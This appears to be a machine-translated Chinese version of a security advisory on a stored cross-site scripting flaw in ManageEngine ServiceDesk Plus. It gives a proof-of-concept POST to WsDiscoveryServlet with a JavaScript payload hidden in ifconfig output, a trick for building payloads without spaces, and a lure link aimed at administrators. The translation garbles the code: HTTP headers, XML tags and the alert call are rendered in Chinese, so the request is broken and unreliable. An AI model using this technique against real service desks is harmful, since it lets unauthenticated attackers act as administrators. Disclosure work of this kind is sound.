注意:对ManageEngine服务台+进行了研究。ManageEngine列表AssetExplorer作为影响发行说明。
存储跨站点脚本漏洞存在于资产的XML处理逻辑的发现。通过发送的HTTP POST请求/ discoveryServlet / WsDiscoveryServlet,远程,未经身份验证的攻击者可以创建一个包含恶意JavaScript资产。当该资产管理员视图时,JavaScript将执行。这个可以被利用来执行身份验证应用程序行为代表管理员用户。
起草文章/ discoveryServlet WsDiscoveryServlet使XML文件中创建“C: \ Program Files \ ManageEngine \ ServiceDesk \ scannedxmls”目录。在一两分钟,然后解析XML文件,数据是用来创建一个资产。在类unix主机的情况下提供的输出“/ sbin / ifconfig”命令,资产提取的IP地址的输出。
当新的资产/ ViewCIDetails观看。做,IP地址的值是不安全的用于创建一个JavaScript代码块。具体来说,clickToExpandIP()函数构造使用这个值。这允许攻击者注入任意JavaScript。
概念验证
以下HTTP POST请求包含一个XML文档:
POST / discoveryServlet / WsDiscoveryServlet吗?computerName = tenable12345 HTTP / 1.1主持人:172.26.31.177:8080 user - agent: Mozilla / 5.0 (Windows NT 10.0;Win64;x64) AppleWebKit / 537.36 (KHTML,像壁虎)Chrome / 87.0.4280.88 Safari 537.36接受:* / *推荐人:http://172.26.31.177:8080接受编码:gzip、缩小接收语言:en - us, en; q = 0.9连接:紧密- type: application / xml内容长度:2040 < ?xml version = " 1.0 " encoding = " utf - 8 " ? > < DocRoot > < ComputerName > <命令>主机名< /命令> <输出> < ![CDATA[]] > < /输出> < / ComputerName > < OS_Category > <命令> uname - s命令< / > <输出> < ![CDATA[达尔文]]> < /输出> < / OS_Category > < Hardware_Info > < OS_Category > <命令> sw_vers < /命令> <输出> < ![CDATA [ProductName: macOS ProductVersion: 11.1 BuildVersion: 20 c69]] > < /输出> < / OS_Category > < Computer_Information > <命令>主机名- s命令< / > <输出> < ![CDATA [newworkstation3]] > < /输出> < / Computer_Information > < CPU_Information > <命令> system_profiler SPHardwareDataType < /命令> <输出> < ![CDATA[硬件:硬件概述:模型名称:MacBook Pro模式标识符:MacBookPro14, 3处理器名称:四核Intel Core i7处理器速度:2.9 GHz处理器数量:1核心总数:4 L2高速缓存(每核心):256 KB L3缓存:8 MB超线程技术:启用内存:16 GB的系统固件版本:429.60.3.0.0 SMC版本(系统):2.45 f4序列号(系统):A03XJ3PMHTK9]] > < /输出> < / CPU_Information > < NIC_Info > <命令> / sbin / ifconfig命令< / > <输出> < ![CDATA [en0:旗帜= 8863 <,广播,聪明,跑步,单纯形,多播> mtu 1500选项= 400 < CHANNEL_IO >乙醚8 c: 85:90: d4: a6: e9 inet6 fe80:: 103: 588: 7772: e9db % en0 prefixlen 64担保scopeid 0 x5 inet);}{警报(xss); / /子网掩码0 xffffff00广播192.168.0.255 nd6选项= 201 < PERFORMNUD,爸爸>媒体:自动选择状态:积极]]> < /输出> < / NIC_Info > < PhysicaldrivesInfo > <命令> / usr / sbin / system_profiler SPParallelATADataType < /命令> <输出> < ![CDATA[]] > < /输出> < / PhysicaldrivesInfo > < HarddrivesInfo > <命令> / usr / sbin / system_profiler SPSerialATADataType < /命令> <输出> < ![CDATA[]] > < /输出> < / HarddrivesInfo > < / Hardware_Info > < Software_Info > < Installed_Softwares > <命令> system_profiler SPApplicationsDataType < /命令> <输出> < ![CDATA[]] > < /输出> < / Installed_Softwares > < / Software_Info > < / DocRoot >
具体注意/sbin/ifconfig命令的输出。脆弱的线始于“inet”之后,预计一个IPv4地址。
然而,这里一个恶意的价值已经包括在子网掩码:
inet);}{警报(xss); / /子网掩码……
如前所述,这将被纳入JavaScript函数。在这种情况下,函数将被构造成这样:
函数clickToExpandIP () {jQuery (# ips)。文本(“(”);}{警报(xss); / /]);}
在这种情况下,一旦资产看待,会弹出一个警告包含文本,“xss”。
![](//www.yyueer.com/de/sites/drupal.dmz.tenablesecurity.com/files/files/advisory/me_sdp_xss1.png)
请注意,这是一个简单的概念;然而,更复杂的JavaScript代码可以实现。
最后一点,是IP地址提取完全基于一个假设,即空间会发生后其价值。没有确认的地址。可以构造复杂的JavaScript载荷,没有空格。例如:
var = new试验();
等价于:
var / * * /测试= new / * * /测试();
此外,触发这个漏洞的可能性会增加如果攻击者发送一个良性的链接到管理员,如/ SearchN.do ? searchText = newworkstation3&subModSelText = &selectName =资产。如果访问,搜索结果将恶意资产列表。